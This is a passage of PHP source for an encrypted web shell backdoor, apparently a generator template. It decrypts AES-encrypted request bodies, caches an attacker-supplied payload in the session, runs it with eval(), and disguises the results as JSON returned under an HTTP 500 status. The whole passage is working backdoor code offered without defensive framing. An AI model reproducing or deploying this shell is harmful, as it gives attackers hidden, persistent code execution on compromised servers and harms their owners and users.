strlen($result))return false;if(strspn($result, chr($pad), strlen($result)- $pad)!=$pad)return false;$result=substr($result, 0, -1 * $pad);}return $result;} $requestData = file_get_contents("php://input");$strSize = strlen($requestData);$requestData = substr($requestData,34,strlen($requestData)-37); $requestData = pack("H*",$requestData);$requestData = aes128($requestData, 2); $payloadName="{randomStr}"; if (isset($_SESSION[$payloadName])){ $payload=base64_decode($_SESSION[$payloadName]); eval($payload); $responseData = @run($requestData); $responseData = base64_encode($responseData); $responseData=base64_decode("eyJjb2RlIjoib2siLCJtc2ciOnsiY29udGVudCI6Ig==").$responseData;$responseData.=base64_decode("In19");@http_response_code(500);header("Content-Type: application/json");echo $responseData; }else{ $_SESSION[$payloadName] = base64_encode($requestData); }